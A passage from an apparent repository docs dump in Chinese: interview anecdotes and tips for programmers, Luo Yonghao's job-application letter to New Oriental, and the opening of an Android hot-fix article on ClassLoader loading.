Q：你当初做保险行业的，怎么处理用户名、密码、银行卡入库加密这块？\n- A：为什么要加密？明文存就好了啊。\n\n结果：认为明文存是理所当然不假思索的，Pass。\n\n**程序员马某面试：**\n\n- Q：PHP的常用框架了解的有哪些？\n- A：ThinkPHP和Yii。\n- Q：他们的区别是什么？或者说优缺点？\n- A：（沉默了3分钟）其实我没有接触过Yii。\n\n结果：后面的面试也基本是这种一知半解的节奏，Pass。\n\n**程序员刘某面试：**\n\n- Q：如果产品经理安排了一个任务给你，然后当天就需求变更了，你怎么办？\n- A：这种事情绝对不允许发生第二次。\n\n结果：应该会很难融入团队吧，Pass。\n\n## 程序员面试中的5个杀手锏问题\n\n也许你是个JavaScript巨星，为了防止被那些烦人的猎头骚扰，不得不删除你在LinkedIn上的个人资料。又或者，也许你是一个普通、可靠的合作伙伴，一年到头也只会收到2到3次的面试邀请。\n\n不管你去面试的频率如何，下面这五个问题是每个软件工程师都应该问的——将有助于你确定自己在这家公司长期工作是否会合作愉快。\n\n![lego-job-interview-software-engineer](https://mmbiz.qpic.cn/mmbiz_jpg/OvnShhIvBxR56jrFx2Qn2ov8bc6H1fiazFicJLlErQAbibseYPgJoITMAtlMT8t8s5o3XynBlt1tv4odYoiadEWLkg/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)\n\n### 你们的企业文化是什么？\n\n你每天将会有10至12个小时需要与同事的信仰、价值观和行为打交道。企业文化重视技术吗？尊重软件工程师吗？软件工程师在产品开发上有发言权吗？企业有没有提供便利以便于软件工程师将工作做到最好？\n\n为了找到答案，可以问问企业从开发到测试都喜欢什么工具，Luca Bonmassar，Gild公司的联合创始人和首席技术官建议说（Gild是一个用于查找评估和招聘技术人才的SaaS平台）。如果面试官不能回答，Bonmassar说，“这通常是一个坏兆头”，说明该公司对你重视的技术并没有给予足够的重视。\n\n他还建议询问开发流程：“开发人员的投入有多少会进入到产品？项目经理是否决定了进度的每一个细节？需要构建什么，或者工程团队有没有发言权，有多少发言权？“\n\n![company-culture](https://mmbiz.qpic.cn/mmbiz_jpg/OvnShhIvBxR56jrFx2Qn2ov8bc6H1fiazpZD4EU8NRG8jbn59LQG02rCfXBFDKyDO34uXvKZzvMsVA2u7rx2M9w/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)\n\n询问工程和其他团队之间的关系。Doug Schade，WinterWyman公司软件技术搜索部门的合作伙伴和招聘人员，建议问“在应对项目时，你们公司会给开发人员什么级别的自主性？” Bonmassar说，对软件工程师的反馈缺乏任何机制是一个“危险信号”。\n\n### 如何衡量我？\n\n你的雇主如何定义你的“成功”与给你的工资和津贴等各种福利息息相关。但是，不同公司的评判标准不同，要满足你觉得不舒服的目标会让你的生活苦不堪言。\n\n![hengliang](https://mmbiz.qpic.cn/mmbiz_jpg/OvnShhIvBxR56jrFx2Qn2ov8bc6H1fiazEIYG7BexpDQJVuWbnpkkAkRMGibTj1ia0SSibF45Ws6LGSgqkcib02ExFQ/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)\n\n有些公司衡量软件工程师看的是他们的努力，比如他们工作了多少小时，提交了多少代码，Ari Weil，Yottaa公司的产品副总裁说（Yottaa是一家自适应的内容分发网络提供商）。也有的用结果来评估软件工程师，如因缺陷而需要召回的代码数量，或在规定时间和预算范围内，小组完成的项目数量。\n\n### 有什么成长计划？\n\nTonyaShtarkman，Riviera Partners的首席技术招聘人员说（Riviera Partners是一家总部位于旧金山的猎头公司），很多软件工程师觉得“他们在当前公司已经不可能有多大发展了。“她建议软件工程师在面试时要询问是否有一个针对软件工程师的成长计划——允许他们继续晋升，并且有机会让他们参加会议和研讨会来建立新的产品和功能，并受到辅导。\n\n许多软件工程师希望雇主会告知他们最新、最好的技术工具，使他们能够保与时俱进。但Bonmassar警告说，“它通常是一个不好的兆头”，当公司坚持某个极其特殊的技能，并要求能迅速改变的时候，可能要不了多久该公司就会开始找人来代替你。如果说需要更匹配的长期合作，他说，那么可能这家公司现在需要的是“聪明，但不必知道工具和技术每一个细节的人”。\n\n他还建议询问一下，多少外部聘请vs公司内部晋升。这答案能说明很多关于随着企业发展你的成长之路会怎么样的趋势。\n\n### 你们的发展计划？\n\n如果你正在考虑去创业公司工作，那么你需要了解他们的发展计划：“加入创业公司，总是涉及着一定程度的风险水平，然而创业公司的工程师往往比大企业的工程师不怕风险， “Shtarkman说。 “不过，将风险控制在一定的稳定范围内是必需的。”\n\n第一个步骤是调查。Shtarkman建议可以问这样的问题，如“你们的资金消耗率（公司的负现金流）是多少？” ，以便于了解公司在没有其他资金和不盈利的情况下能维持多久。Jim Barnett，Glint公司的首席执行官（Glint是一个用于跟踪可以影响保留趋势的网络平台），建议在签署保密协议前可得仔细看清楚。\n\n### 我会喜欢你们的人吗？\n\n聊到目前的团队成员，“我碰到过一些工程师之所以接受创业公司的offer，纯粹是因为他们与团队融合得非常好——有时候甚至是因为某个人的魅力，”Shtarkman说。 “说来说去，公司是由人组成的，如果你不能与你的队友和睦共处，那么当作长期的职业生涯几乎是不可能的。”\n\n试着和公司的内部人士聊天，以便于知道“公司内部管理人员大致的情形，”Barnett说。 “他们好合作吗，他们做事征求意见吗，他们提供反馈吗，他或她投资团队成员并帮助他们成长吗？”\n\n试着和团队中你共事的人进行非正式的交谈。问问他们工作中最让他们沮丧的是什么。比起面试官，他们更可能现实地回答你，Shtarkman说。\n\n底线：挖掘得更深一点以了解今后你每天需要共事的人，和你每天要经历的工作流程，而不要只关注薪水。\n\n## 程序员面试技巧总结\n\n**闲聊**\n\n在深入代码之前，大多数面试官喜欢聊聊你的背景。\n\n![img](https://mmbiz.qpic.cn/mmbiz/rOeDV5Q9ZqBuu9bacRVZsgVwWmChpUmic5ElfDPAzicicEOvTdJC1lSYL2qEsfQfiaFsqweraJ3K8ibib4DicVbebeMog/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)\n\n**他们想知道：**\n\n你对编码认知。你是否知道如何编写好代码？\n\n个人能力/领导力。你是否经历过整个工作流程？你是否修复过并不怎么正确的东西，即使你并不需要这么去做？\n\n沟通。和你交流技术问题是有用的还是痛苦的？\n\n**你应该至少说明以下中的一个：**\n\n你曾解决的一个有趣的技术问题\n\n你曾克服的一个人际冲突\n\n显示领导力或个人能力的例子\n\n你曾在以往项目中做出的贡献\n\n最喜欢的语言的一些琐事，对这种语言你做了什么，以及你不喜欢它哪里\n\n有关公司产品/业务的问题\n\n关于该公司的工程策略（测试，Scrum，等等）\n\n热爱技术。表达你对你所做的一切感到骄傲，你对自己的选择充满自信，你对语言和工作流有着自己的看法。\n\n**沟通**\n\n涉及到编码问题的时候，沟通是关键。一个在工作时需要帮助却能和人正确沟通的求职者比那些能轻松解决问题的求职者甚至更好。\n\n**了解这是哪种问题。**\n\n**有两种类型的问题：**\n\n**编码。**面试官希望你能针对问题写出简洁高效的代码。\n\n**闲聊。**面试官希望能和你聊一聊。话题通常是（1）高水平的系统设计（“如何克隆Twitter？”）或（2）琐事（“Javascript中的hoisting是什么意思？”）。有时候这些琐事中也会引入“实际”问题，例如，“如何迅速排序整数列？好的，如果不是整数，是其他类型的呢…… ”。\n\n如果你开始编写代码，并且面试官并不想多说废话，只想尽快过渡到“实际”问题，那么如果你罗哩叭嗦太多的话，她可能会觉得厌烦。不妨直接问，“是不是为这个问题写代码？”\n\n**让人感觉你有团队精神。**面试官想知道和你一起工作是什么感觉，会有什么问题，所以要让他们看到你的团队合作性。使用“我们”来代替“我”，例如，“如果那个时候我们做广度优先搜索的话，就能及时/准时得到解决方案。”如果让你选择在纸上还是在白板上编码的话，选白板。这样，你就可以接近面试官，直接面对他提出的问题（而不是和她在桌子两边遥遥相望）。\n\n**把自己的想法大声说出来。**不是开玩笑，比如说：“我不知道这样做是否有效——但请让我试一试。”如果你不知道怎么办，不知道这个问题该如何解决，那么就说一说你现在的想法。说一说你认为怎么做可能会有效。说一说你认为哪些会有用，以及为什么没用的原因。这同样适用于琐碎的闲聊问题。当面试官要求你解释Javascript闭包的时候，“这与范围有关，不妨把它放到一个函数中”可能会让你得到90％的分数。\n\n**不知为不知。**如果正在谈论的话题（例如，具体的语言事务，具体的琐事，运行时分析）的确是你不曾涉猎的内容，那么不要不懂装懂。相反，你可以直接说：“我不知道，但我猜$thing，因为……”，因为后面可以通过分析排除其他选项，还可以拿其他语言或问题做例子。\n\n**说话不要不经大脑。**不要自信地将答案脱口而出。如果是正确的，那么你还是需要时间来考虑如何解释，如果是错的，那会显得你冲动鲁莽。你不是在和人比速度，而且你这么做更有可能因为打断她的话或者妄下结论而惹恼她。\n\n![img](https://mmbiz.qpic.cn/mmbiz/rOeDV5Q9ZqBuu9bacRVZsgVwWmChpUmicmwfDmQNyNia7lp4dEn7TWs5nbZyibLZ2XgZPLB5WrdkcLC1FjhpyOXOA/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)\n\n**摆脱困境**\n\n**有时候你会陷入僵局。**放松。这并不意味着你已经失败了。请记住，面试官通常更在乎的，是你能否巧妙地从几个不同的角度去揭示问题，而不是一根筋走到底地坚持正确答案。\n\n**画图。**不要浪费时间在脑袋里思考，可以画到板上。画出几个不同的测试输入。画出你如何手动如愿得到所需的输出。然后想想将你的方法转换成代码。\n\n**解决问题的简单版本。**不知道如何找到集合中的第4大条目？那么想想如何找到第1大条目，然后试试能否沿用这种方法。\n\n写一个简洁低效的解决方案，然后对其进行优化。竭尽全力。尽一切可能的方法得到某种答案。\n\n**讲讲自己的思路。**讲一讲你知道什么。讲一讲你认为什么可能工作以及为什么无效的原因。你可能突然会意识到它实际上是可以工作的，或修改版本是有效的。也有可能，你会得到提示。\n\n**等待提示。**不要用期待的眼光盯着面试官，但可以有短暂的“思考”时间——面试官或许已经决定给你个提示也说不定呢，等待她的提示以免打断她。\n\n**考虑空间和运行时的界限。**如果你不知道你是否可以优化解决方案，那么就说出来。\n\n**例如：**\n\n“我必须至少看看所有的条目，我做不到时间复杂度比O(n)还好的了。”\n\n“蛮力方法才能检验所有的可能性。”\n\n“答案将包含n^2数据项，所以我必须至少花费N^2的时间。”\n\n**写下你的思路想法**\n\n**凭空地想很容易自我矛盾。**把你的想法写下来，然后再去考虑细节。\n\n**调用帮助函数，继续前进。**如果你不能或多或少地马上想出如何实现算法，那就跳过它。写一个命名合理的调用函数，例如：“this will do X”，然后继续下一步骤。如果帮助函数非常微不足道，你甚至可以将它忽略。\n\n**不要担心语法。**不妨一笑而过。如果你非要考虑语法，那就还原到英语。只要向面试官说明稍后会回来整理即可。\n\n**预备足够的空间。**你可能后面会想要在代码行之间添加代码或笔记。从白板的顶部开始写，并在每一行之间留一条空白。\n\n**最后写一个重头检查的标志。**不要担心你写的for循环是否应该有“<”或“<=”。在代码的最后画个勾选提醒自己最后再检查一遍。先按自己的思路走。\n\n**使用描述性的变量名。**想名字需要时间，但可以防止你忘记自己写某段代码的目的。使用names_to_phone_nums_map而不是nums。在名称中说明类型。返回布尔值的函数应该以“is_ *”，保存列表的Vars应该以“s”结尾。标准化很有意义。\n\n![img](https://mmbiz.qpic.cn/mmbiz/rOeDV5Q9ZqBuu9bacRVZsgVwWmChpUmic14C8AQcWYibmicC6u4n977YBGDCpYzZU9xSypPuCYPRybPsV1vFIUBiag/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)\n\n**完成之后的整理**\n\n**浏览解决方案，大声地讲，输入一个例子。**当程序运行时记录下变量保存的值——如果你只是记在脑子里，不会让你赢得任何加分。这有助于你发现bug和消除面试官的困惑。\n\n**寻找差一错误。**你的for循环是不是应该使用“<=”来代替“<”？\n\n**测试边缘情况。**措施包括空集合，单项目集合或负数。加分点：提一提单元测试！\n\n**不要惹人厌烦。**有的面试官可能并不在意这些整理步骤。如果你不确定，可以这样说，“我通常会检测一些边缘情况——那么我们接下来是不是做这个呢？“\n\n**实践**\n\n最后，运行实践问题是没有捷径的。\n\n**好记性不如烂笔头。**对自己诚实。用笔写可能一开始会让你觉得别扭。但是如果你现在就能克服这个难题，那么当面试的时候，你就不会觉得笨拙和不顺手了。\n\n本文中的实践问题只是提供了每个面试过程的线索要点，没有真正的金科玉律，在真正面试时还需实际问题实际解决。**最后，祝大家面试成功。**"
  },
  {
    "path": "docs/android/Android-Interview/面试技巧/罗永浩新东方万字求职信.md",
    "content": "俞校长您好：\n\n　　我先对照一下新东方最新的招聘要求：\n\n　　1、有很强的英语水平，英语发音标准\n\n　　英语水平还好，发音非常标准，我得承认比王强老师的发音差一点。很多发音恐怖的人(宋昊、陈圣元之流)也可以是新东方的品牌教师，我不知道为什么要要求这一条，尽管我没这方面的问题。\n\n　　2、大学本科或以上学历，英语专业者优先\n\n　　真不喜欢这么势利的条件，这本来应该是实力、马力之流的学校的要求。\n\n　　3、有过考TOEFL、GRE的经验\n\n　　GRE考过两次。\n\n　　4、有教学经验者，尤其是教过以上科目者优先\n\n　　教过后来被国家明令禁止的传销课，半年。\n\n　　5、口齿伶俐，中文表达能力强，普通话标准\n\n　　岂止伶俐，简直凌厉，普通话十分标准，除了对卷舌音不太在意(如果在意，平舌音也会发错，所以两害相衡取其轻)。\n\n　　6、具备较强的幽默感，上课能生动活泼\n\n　　我会让他们开心。\n\n　　7、具备较强的人生和科学知识，上课能旁征博引\n\n　　除了陈圣元，我在新东方上过课的老师(张旭、王毅峰、王昆嵩)都和文盲差不多，当然他们还小。说到底，陈圣元的全部知识也只是在于让人看不出他没有知识而已。\n\n　　8、具备现代思想和鼓动能力，能引导学员为前途奋斗\n\n　　新东方的学员是最合作，最容易被鼓动的，因为他们来上课的最大目的就是接受鼓动，这个没有问题。\n\n　　9、年龄在40岁以下\n\n　　28岁。\n\n下面是我的简历或是自述：\n\n罗永浩，男，1972年生于吉林省和龙县龙门公社。\n\n　　在吉林省延吉市读初中时，因为生性狷介,很早就放弃了一些当时我讨厌的主课,比如代数、化学、英文,后来只好靠走关系才进了当地最好的一所高中,这也是我刚正不阿的三十来年里比较罕见的一个污点。因为我和我国教育制度格格不入又不肯妥协,1989年高中二年级的时候就主动退学了。有时候我想其实我远比那些浑浑噩噩地从小学读到硕士博士的人更渴望高等教育,我们都知道钱钟书进清华的时候数学是零分(后来经证实其实是15分),卢冀野入东南大学的时候也是数学零分，臧克家去山东国立青岛大学的时候也是差不多的情况。今天的大学校长们有这样的胸襟吗？当然,发现自己文章写的不如钱钟书是多年后的事情了,还好终于发现了。\n\n　　退学之后基本上我一直都是自我教育(当然我的自我教育远早于退学之前),主要是借助书籍。因为家境还勉勉强强,我得以相对从容地读了几年书,\"独与天地精神往来\"。\n\n　　基于\"知识分子要活得有尊严,就得有点钱\"这样的认识(其实主要是因为书价越来越贵),我从1990年至1994年先后筛过沙子,摆过旧书摊,代理过批发市场招商,走私过汽车,做过期货,还以短期旅游身份去韩国销售过中国壮阳药及其他补品。令人难堪的是做过的所有这些都没有让我\"有点钱\",实际上,和共同挣扎过的大部分朋友们比起来,我还要庆幸我至少没有赔钱。\n\n　　我渐渐意识到我也许不适合经商,对一个以知识分子自许的人来说,这并不是很难接受的事情,除非这同时意味着我将注定贫穷。\n\n　　1994年夏天,我找了个天津中韩合资企业的工作并被派去韩国学习不锈钢金属点焊技术,1995年夏天回国的时候,很不幸我姐姐也转到了这家天津的公司并担任了副总经理,为了避嫌我只好另谋出路。\n\n　　1995年8月至1996年初,经一位做传销公司(上海雅婷)的老同学力邀,我讲了半年左右的传销课，深受广大学员爱戴。遗憾的是国家对这种有争议的商业形式采取的不是整顿而是取缔的政策,所以看到形势不对,我们就在强制命令下达之前主动结束了生意。因为那时候我爱上了西方音乐(古典以外的所有形式),大概收有上千张英文唱片,为了听懂他们在唱些什么，我在讲传销课的同时开始学习一度深恶痛绝的英文。我在一个本地的三流私立英语学校上了三个月的基础英语课，后来因为他们巧立名目拒付曾经答应给我的奖金(我去法院起诉过，又被法院硬立名目拒绝受理)，我只好又自学了。\n\n　　实在不知道困在一个小地方可以做些什么,所以1996年夏天我到天津安顿下来(那时候我很喜欢北京，但是北京房价太丧心病狂了),靠给东北的朋友发些电脑散件以及后来零星翻译一些机械设备的英文技术文章维生,因为生性懒散不觉蹉跎至今。我要感谢那本莫名其妙的预言书\"诸世纪\",尽管我不是一个迷信的人,但是去年五一我看到那段著名的预言\"1999年7月,恐怖的大王将从天而降、、、、、、\"的时候还是有些犹豫,我认真地考虑自己可能即将结束的生命里有什么未了的心愿,结果发现只有减肥。从我有记忆以来我就是个痛苦的胖子,因为胖,我甚至不得不隐藏我性格里比较敏感忧郁的一面,因为胖子通常被大众潜意识里不由分说地认为应该嘻嘻哈哈,应该性情开朗,应该徐小平。他们对一个矫矫不群的胖子的性格能够容忍的上限是严肃,再出格一点就不行了，比如忧郁。虽然他们从来不能如此准确地说出这种想法,但是如果看到一个忧郁的胖子,他们就会直觉哪里不对了,他们的这种直觉的本质是，\"你是个胖子,你凭什么忧郁呢?你还想怎么样?你已经是个胖子了。\"所以很难见到一个肥胖的并且影响广泛的诗人,因为公众不能接受,任凭他的诗歌惨绿无比。当然胖子的痛苦永远不值得同情(除非是因为病理或基因导致),因为他们胖通常是因为缺乏坚强的意志(也许除了丘吉尔)。我就是个典型,我的肥胖完全是因为厌恶运动造成的,我有过十几次失败的减肥经历,我试过节食、锻炼、气功和几乎所有流行过的药物,包括在西方严禁非处方使用的芬弗拉明,我总怀疑我不如小时候开朗是因为误用芬弗拉明造成的,它减肥的药理竟然是通过使人情绪低落从而降低食欲,事实上,它根本就不是研制用来减肥的,它本是用来使轻度狂躁型精神病患者稳定情绪的药。我是中国落后的药检制度的严重受害者。\n\n　　过了去年的五一节之后,我制定了严格的计划：每天只吃蔬菜、豆腐、全麦面包、鱼肉、橙汁、脱脂牛奶和善存,每天用一个小时跑10公里,也就是标准跑道的25圈。我不得不骄傲的是，我只用了58天就减掉了48斤体重,去掉休息的星期天,几乎是一天一斤。然后我心情平静地迎接了什么事情都没发生的7月。这件事过后我发现其实我还是很有毅力的一个人。但是我不知道我的毅力应该用来做什么,末日虽然没有来,但是新世纪来了,30岁也快来了,这真是一件让人坐立不安的事情。\n\n　　后来我一度想移民加拿大，所以一边找资料看一边到天津大学夜间开办的口语学习班上课，一个班20多个人，一个外国教师(更多的时候是外国留学生)和我们天南地北地胡聊，除了政治。我一共上了四期这样的班，口语就差不多了，当然还是停留在比较普通的交流水平上，至少我看英文电影时还是需要看字幕，尽管在天津的四年间我看过大概600部英文电影。过了元旦，一个小朋友在和我吃饭的时候突然问我，为什么不去新东方教书,你应该很适合去新东方教书。我说我倒是喜欢讲课,但是一个民办教师有什么前途呢?他说如果年薪百万左右的工作不算前途那他就没什么可说的了。我得说我很吃惊。不管怎么样，我仔细地把我能找到的关于新东方的材料都看了一遍,我觉得这个工作很适合我，尤其是看到杨继老师在网页上说\"做一个自由而又敬业的人是我的梦想,新东方是实现它的好地方\"的时候。在我尽管懒散无为却又是勤于思考的三十来年里，好像还是第一次看到一个很适合我并且我也有兴趣去做的工作。杨继还转述席勒的话\"忠于你年轻时的梦想\"。我没看过席勒的东西，光知道有两个能写字儿的席勒，不知道是哪一个说的这话，但是我宁愿把它当成是新东方的精神。我听说教托福和教GRE薪水差不多，但是GRE的学习要苦得多。\n\n　　我想了想还是选择了GRE，毕竟托福是专门给非英语国家的学生考的，教书的满足感上逊色很多。\n\n　　旧历新年的时候，因为不确定是不是需要大学文凭才行，我试着写了一封应聘信给俞老师，提到我只有高中文凭，结果得到的答复是欢迎来面试，除了感激我还能说什么呢?我是说即便没有文凭不行我还是会来新东方做教师的，但是可能不得不伪造证件，作为一个比大多数人都更有原则、以知识分子自诩的人，如果可能，我还是希望不搞这些虚假的东西，俞校长的开明使得我不必去做大违我的本性和原则的事情，得以保持了人格的完整，这是我时常感念的。\n\n过了春节处理了一些杂事，很快就到了6月份，我买了本\"红宝书\"就上山了。鹫峰山上的学习气氛和恶劣条件我都非常喜欢，应该是因为生活有了明确目标的关系吧。但是我很快发现，讲课教师的水平和他们的报酬以及新东方的声誉比起来还是很不理想的。我看到身边大多数的同学对所有的老师评价都很好，听到那些愚蠢的笑话、对ETS肤浅的分析导致的轻浮谩骂和充满种族歧视、宗教歧视的言论的时候，大多数人都笑得很开心。这最终再次有力地证实了我一直怀有的一个看法：任何一个相对优秀的群体里面都是笨蛋居多。无论台下是300名来听传销的社会闲散人员还是300名来听GRE的大学毕业生，对于一个讲课的人来说并没有多少区别，这也是他们在台上信口开河、吹牛放炮的信心来源。当然这里大多数同学专业都很出色都很勤奋刻苦，积极上进，性格上也远比我更具备成功的素质，我只是说他们缺少情趣，他们聪明(至少他们都敢考GRE的数学，这是我想都不敢想的)，但是没有灵气，人品也未必差，只是缺乏独立思考能力。\n\n　　我只喜欢陈圣元一个人的课，所以后来也就只去上他一个人的课，其他的时候一个人在宿舍背单词。陈圣元除了胡扯闲聊比较有水准之外，治学态度曾经也让我觉得很好，说起charter这个单词的时候，他说为了找到那个填空句子里面表达的意思查遍了所有的词典都找不到满意的解释，最后花了一千多块钱买了一本巨大沉重的韦氏词典(显然是指MerriamWebsters Third New International Dictionary Unabridged)才终于在该词典所列的关于charter的25条释义中的最后一条里找到了答案。说起市面上粗制滥造的填空参考书的时候他很不以为然，\"我以三年的教学经验也精心编写了一本，那些作者对题目绝对没有我钻研得深，他们就会胡编乱造然后急忙出版抓紧骗钱，我这本可以说是这方面的集大成者，现在正在印刷当中，很快就可以和大家见面\"。由于在山上的时候单词还没怎么背，题目都没做过，所以他这些态度和表现曾经让我很景仰。发现不对头是下山之后开始的，我录了他的全部课堂录音，我听着录音大量做题的时候，才发现他的分析讲解漏洞百出，尽管他批评过去的新东方老师都是拿了正确答案再进行分析讲解，可是他的工作显然也是一样，这样才能解释为什么他总是能用错误的分析推理给你一个正确的答案。另外我发现所有的三流词典，包括英汉词典，都在charter的第一个释义上就解释了他声称在韦氏第三版未删节新国际词典的25条释义的最后一条中找到的答案，\"由君主或立法机关发给城市或大学，规定其特权及宗旨的特许状\"，所以我也买了本十多斤重的韦氏第三版回来，发现只有13条释义，而且在第2条里就解释了这个问题。现在他的那本填空教程就在我手边，仅在No、4的52道题中，我就找到了18处错误，如果说翻译的错误对学生不重要，那么解题分析的错误也有10处之多。这也最终使得我改了主意，决定做填空老师，本来我想做词汇老师，那样可以海阔天空地胡扯。\n\n　　我以这样的条件敢来新东方应聘，除了脸皮厚这个最显而易见的表面原因之外，主要还是教填空课的自信。第二次考试之后我一直做填空的备课，最消耗时间的是把NO、4到1994年的全部填空题翻译成中文，400多个句子的翻译居然用了我整整一个月的时间，基本上是一个小时翻译三个句子，当然快的时候两分钟一个，慢的时候几个小时翻不好一句。翻译这些句子是我本来的备课计划之外的工作，最终使我不得不做这个工作的原因是钱坤强和陈圣元那两本\"惨不忍睹\"的教材。钱坤强的那本就不必说了，此人中文都有问题，尽管我坚信他的英文要远比我的水平高(也许应该说熟练)，但是理论上一个人如果母语都掌握不好(这意味着他对语言本身不敏感)，那么他肯定掌握不好任何其他语言，即便他能熟练运用，也不适合做语言方面的工作，比如文字翻译。他那本超级填空教程在新东方地下室卖了两年都没正式出版，一定程度上说明了这本书的水准。至于我非常喜欢的陈圣元，他在那本书的前言中说道：\"翻译时尽量体现原文的结构，以便考生能对照原文体会原文句子结构的特征，从而体会结构与答案选项设计之间的关系......这样做会使得句子略显得欧化而不自然......不会去套用貌似华丽实则似是而非的成语。\"\n\n　　作为一个考试学习用的教材，他声称的翻译原则和宗旨是很好的，但是很遗憾，我看到的绝不仅仅是一个欧化或是不自然的问题。首先\"体现原文结构\"应该表现为翻译成中文之后原文中的各个句子成分最大限度地在译文中充当同样的成分，而不是把所有的成分不变动位置地翻译成对应的中文单词，这样的做法和那些《金山快译》之类的拙劣软件的翻译结果有什么区别呢？实际上《金山快译》这一类翻译软件的译文虽然狗屁不通，但是我们即使看不到原文，通过猜测也能大致明白它想说些什么，这就如同没学过日文的中国人看日文电器说明书里面夹杂的汉字也能隐约猜出大意一样。陈圣元的译文本质上就是这样的一种东西，当然程度上有些区别。\n\n　　其实欧化并不可怕，尤其是在一本学习用的教材中，即使是在文学中，一些恶性的欧化今天也成了现代白话文的组成部分。陈圣元的译文根本不是欧化的问题，他的译文和钱坤强的一样，最恐怖也让人难以置信的是，作为所谓的译文，如果脱离了原文的对照，没有一个中国人知道这些句子在说什么，我是说这些句子字面上在说什么都没人看得懂，而不是因为句意晦涩难解而使人看不懂它想表达的内涵。\n\n　　另外，看得懂的很多句子又翻错了，即便看不懂句子的意思真的不影响正确答案的选择，但是作为一本教学参考书，如果参考译文都翻错了，还怎么让学生信服呢？除非是以一种变态的方式，比如\"陈老师的译文都翻错了，可是他的GRE考分那么高，可见看不懂句子对答题反而有帮助\"这一种。\n\n　　我的译文体现了这样几个原则，首先由于不是文学翻译，我注意了最大限度地使用原文的结构，使译文中的句子成分尽量充当原文中的对应成分。为了这种对应，有时候会有些比较不符合中文习惯的句子结构，比如一些在英文中可以置后的定语从句按照中文的语法放到了修饰对象的前面之后，句子显得臃肿不堪，另外还可能导致断句困难。针对这样的问题，我在这类句子中大量地使用了括号和破折号，很多时候，如果只读括号外边的内容，读到的就是这个句子完整的主干，那些使句子结构变得复杂的修饰成分都在括号里边，但是如果假定这些括号不存在把它们连起来读，也是一个通顺完整毫无语病的句子，这样和原文对照阅读时对应的成分和原句的主干结构清晰可辨。\n\n　　在解题思路上我修正了陈圣元的书中所有不严谨的地方，难以置信的是这些不严谨的错误在他的书中竟有三成之多。我的草稿还有很多优点，虽然这些优点是我完成的，但是我不想为了向别人解释\"我做的工作牛就牛在、、、、、、\"这样的东西浪费太多的时间，所以不再分析了。如果我们都接受\"不存在完美的东西\"这样一个假设，那么我想说的是，我的这本填空教材是离完美最近的那一个。希望我的坦率不会倒了您的胃口，当然我知道新东方的开明气度才会这样讲话。\n\n　　如果新东方出版参考书的惟一标准是书的质量，而不权衡其他方面的因素，那么陈圣元的那本书的寿命不会也不应该超过一年。需要做一个效果未必理想的声明是，我并非有意攻击陈圣元，他在课上说起，新东方的同仁们的一个优点是互相不会拆台，也许私下并无深交但是不会互相诋毁，这对事业或是人生的成功起到了相对积极的作用。这种观点虽然不合我的本性，但是我也知道如果大家都是书生意气，新东方也没有今天。所以我接受了他的这个看法，基于这一点，我也不想对他做更多的攻击，很大程度上我对他的看法现在都坦率地说了出来是因为他已经离开了，不存在和睦相处的问题。何况，他出色的幽默感和极佳的亲和力都是我很佩服的，毕竟他是新东方我见过的最喜欢的老师(如果不是惟一喜欢的)。对于他的工作和治学态度，我更多的是感到遗憾。\n\n　　当然我知道会有一些年轻教师不屑地说，教教GRE，算个屁自学？那好吧。\n\n　　我想我多半看起来像是个怪物，高中毕业，不敢考数学，居然要来做教师。但是我到新东方应聘不是来做教师的，我是来做优秀教师的，所以不适合以常理判断。即使新东方的声誉和报酬使得它从来都不缺教师，我也知道优秀的教师永远都是不嫌多的，如果新东方从来都不缺优秀教师，那么我也知道更优秀的教师从来都是新东方迫切需要的。\n\n　　龚自珍劝天公\"不拘一格降人才\"，如果\"不拘一格\"的结果是降下了各方面发展严重失衡的，虽然远不是全面但又是十分优秀的畸形人才，谁来劝新东方\"不拘一格用人才\"呢？想想王强老师的经历，所以我也来试试说服您，我们都知道那个美国老头虽然觉得他很荒唐，但是他还是给了王强老师一个机会去见他，一个机会去说服他，所以我想我需要的也就是这么个机会而已。给我个机会去面试或是试讲吧，我会是新东方最好的老师，最差的情况下也会是\"之一\"。"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/1.热修复实现(一).md",
    "content": "\n热修复实现(一)\n===\n\n\n现在的热修复方案已经有很多了，例如`alibaba`的[dexposed](https://github.com/alibaba/dexposed)、[AndFix](https://github.com/alibaba/AndFix)以及`jasonross`的[Nuwa](https://github.com/jasonross/Nuwa)等等。原来没有仔细去分析过也没想写这篇文章，但是之前[InstantRun详解][1]这篇文章中介绍了`Android Studio Instant Run`的\n实现原理，这不就是活生生的一个热修复吗？ 随心情久久不能平复，我们何不用这种方式来实现。    \n\n\n方案有很多种，我就只说明下我想到的方式，也就是`Instant Run`的方式:    \n分拆到不同的`dex`中，然后通过`classloader`来进行加载。但是在之前[`InstantRun`详解](https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/InstantRun%E8%AF%A6%E8%A7%A3.md)中只说到会通过内部的`server`去判断该类是否有更新，如果有的话就去从新的`dex`中加载该类，否则就从旧的`dex`中加载，但这是如何实现的呢？ 怎么去从不同的`dex`中选择最新的那个来进行加载。    \n\n讲到这里需要先介绍一下`ClassLoader`：       \n\n< `A class loader is an object that is responsible for loading classes. The class ClassLoader is an abstract class. Given the binary name of a class, a class loader should attempt to locate or generate data that constitutes a definition for the class. A typical strategy is to transform the name into a file name and then read a \"class file\" of that name from a file system.`     \n\n\n在一般情况下，应用程序不需要创建`ClassLoader`对象，而是使用当前环境已经存在的`ClassLoader`。因为`Java`的`Runtime`环境在初始化时，其内部会创建一个`ClassLoader`对象用于加载`Runtime`所需的各种`Java`类。    \n每个`ClassLoader`必须有一个父类，在装载`Class`文件时，子`ClassLoader`会先请求父`ClassLoader`加载该`Class`文件，只有当其父`ClassLoader`找不到该`Class`文件时，子`ClassLoader`才会继续装载该类，这是一种安全机制。    